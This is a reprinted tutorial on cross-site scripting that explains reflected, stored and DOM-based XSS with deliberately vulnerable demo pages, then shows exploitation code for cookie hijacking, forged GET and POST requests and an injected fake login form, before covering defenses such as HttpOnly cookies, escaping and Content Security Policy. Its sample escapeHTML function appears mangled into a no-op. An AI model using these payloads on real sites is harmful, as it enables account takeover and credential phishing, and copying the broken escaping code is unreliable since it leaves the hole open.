Principle analysis and defense of XSS cross-site scripting attack

Original link:

What is XSS

XSS (Cross Site Script) attack means that hackers tamper with web pages through “HTML injection” and insert malicious scripts. When users browse the page, the html code embedded in the web will be executed, so as to achieve the special purpose of malicious users.

XSS classification

Reflected XSS

Reflected XSS, also known as non-persistent XSS, is one of the most prone to XSS vulnerabilities today. When a user accesses a URL request with an XSS code, the server receives the data and processes it, and then sends the data with the XSS code to the browser. After the browser parses the data with the XSS code, an XSS vulnerability is finally caused. .

 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <form action="./test.php" method="get">您的姓名<input type=text name="name" value="" > <input type=submit value="登录"> </form> </body> </html> 


Enter a piece of script code to submit, it will pop up directly


Let’s take a look at the source code, the script is loaded into the page, which is obviously problematic.


Stored XSS

Stored xss will store the data entered by the user on the server side. This kind of xss has strong stability. The common scenario is that a hacker writes a blog containing malicious js scripts, and other users browse blogs containing malicious js scripts. , will execute this malicious code on their browser. Blogs containing malicious js scripts are stored on the server, so this xss attack is called “stored xss”

normal input



non-human input




Traditional types of XSS vulnerabilities (reflection or storage) generally appear in server-side code, while DOM XSS is a vulnerability based on the DOM Document Object Model, so it is affected by the script code of the client browser. The XSS code does not require the direct participation of the server-side parsing response, and the browser-side DOM parsing is what triggers XSS.


 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <div id="t"></div> <input type="text" id="test" value="" /> <input type="button" id="s" value="write" onclick="test()" /> <script> function test(){ var str = document.getElementById("test").value document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>" } </script> </body> </html>

Clicking on the wirte will have a hyperlink whose address is the content of the text box.

The onclick event of the wirte button here calls the test() function. And in the test() function. In the test() function, the DOM node of the page is modified, and a piece of user data is written into the page as html through innerHTML, which results in DOM based XSS.

We construct a malicious data: ' onclick="alert(1)"


You can also choose to close the tag and insert a new HTML tag

'><img src=# onerror=alert(/xss1/) /><'


XSS exploit

Cookie Hijacking

A common XSS exploit method is cookie hijacking. Generally, the user’s login credentials are stored in the cookie. If the cookie is leaked, you can log in directly to the user’s account.

  • 1. User login
  • 2. Attackers trick users into visiting URLs with XSS payloads
  • 3. The user requests the attacker’s URL
  • 4. Execute remote js in the user’s browser and send the cookie to the attacker
  • 5. Attackers use cookies to gain access to user accounts

We can enter a piece of code containing a remote script in the original reflection example <script src=""></script>


Look at the remote server response log


Construct GET and POST requests

Through js, let the browser initiate GET and POST requests to complete various operations.

  • Construct a GET request: By inserting a picture, the src of the picture is the URL of the GET request.
 // option.js const img = document.createElement('img') img.src = '' document.body.appendChild(img)
  • Construct a POST request:

    • 1. Construct the form and submit it

       // option.js const dd = document.createElement ("div") document.body.appendChild(dd) dd.innerHTML = "<form action='option.php' method='post' id='xssform'>" + "<input type='text' name='option' value='add'> </form>" document.getElementById("xssform").submit()
    • 2. Use ajax request

       // option.js let ajax = null const url = '' if (window.XMLHttpRequest) { ajax = new XMLHttpRequest() } else if (window.ActiveXobject) { ajax = new ActiveX0bject ("Microsoft.XMLHTTP") } else { alert("not compatible") }"post", url, true) ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded") ajax.send('option=add') ajax.onreadystatechange = function () { if (ajax.redyState == 4 && ajax.status == 200) { alert("Done") } }

Visit<script src=""></script>

Write the result in option.txt



fake a page

 var dd = document.createElement("div") document.body.appendChild(dd) dd.innerHTML = "<meta charset='UTF-8'>" + "<form action='login.php' method='post'>" + "<li><label>用户名:</label>" + "<input type='text' name='username'></li>" + "<li><label>密码:</label>" + "<input type= 'password' name='password'></li>" + "<li><input type='submit' name='login' value='登录'></li></form>"

inject xss<script src=""></script>



Identifying browsers and plug-ins

The information collects the user’s browser version information to expand the attack surface. Read the browser’s userAgent object through js to identify the browser version, and query the navigator.plugins object to obtain plug-in information.


XSS defense


A cookie is used as follows:

step1: The browser initiates a request to the server, and there is no cookie at this time.

step2: When the server returns, send set-cookie and write the cookie to the client browser.

step3: In the early stage of the cookie, the browser will send the cookie when accessing all interfaces under the domain.

 <?php header("Set-Cookie: Cookie1=test1;"); header("Set-Cookie: Cookie2=test2;httponly", false); ?> <script> alert(document.cookie) </script>

Only test1 is read


input check

Perform format verification on incoming parameters, and filter or escape special characters. Due to the different usage scenarios of the input data, filtering or escaping may affect actual business usage. At the same time, the location where the XSS attack occurs is not the location where the parameters are passed in, and there may be omissions.

The code for the input check must be implemented on the server side, because it is easy to bypass the check if the input check is performed on the client side using JavaScript. The normal practice is that the client and the server implement the same input check, and the client can block most normal users who operate incorrectly, which can save server resources.

 // js function escapeHTML(str) { if (!str) return ''; str = str.replace(/&/g, "&"); str = str.replace(/</g, "<"); str = str.replace(/>/g, ">"); str = str.replace(/"/g, """); str = str.replace(/'/g, "'"); return str; };

output check

HTML entity encoding is performed on the output result returned to the browser. Escape user-controllable data output by JavaScript.

 <!--api.php--> <?php @$input = $_GET['param']; echo "<div>.$input.</div>"; echo "<div>".htmlentities($input)."</div>"; echo "<div>".htmlspecialchars($input)."</div>"; ?>

Note: If htmlentities does not specify the encoding, it will be garbled when encountering Chinese

When using .innerHTML , document.write() , document.outerHTML these APIs that can modify the page structure, pay attention to preventing malicious code, try to use .textContent , .setAttribute() , etc.

Content Security Policy (CSP)

The content security policy (Content Security Policy) is essentially a whitelist system. The developer clearly tells the client which external resources can be loaded and executed, which greatly enhances the security of the web page.

There are two ways to enable CSP. One is through the Content-Security-Policy field of the HTTP header.

 Content-Security-Policy: script-src 'self'; object-src 'none'; style-src; child-src https:

The other is through the <meta> tag of the web page.

 <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src; child-src https:">

In the above code, the CSP is configured as follows.

  • Script: Trust only the current domain name
  • <object> tag: do not trust any URL, i.e. do not load any resources
  • Stylesheets: trust only and
  • Page sub-content, such as <frame> , <iframe> : must be loaded using HTTPS protocol
  • Other resources: no limit

When enabled, external resources that are not CSP compliant are blocked from loading.


Baidu network disk:

Cool Station:

This article is reprinted from:
This site is for inclusion only, and the copyright belongs to the original author.

Leave a Comment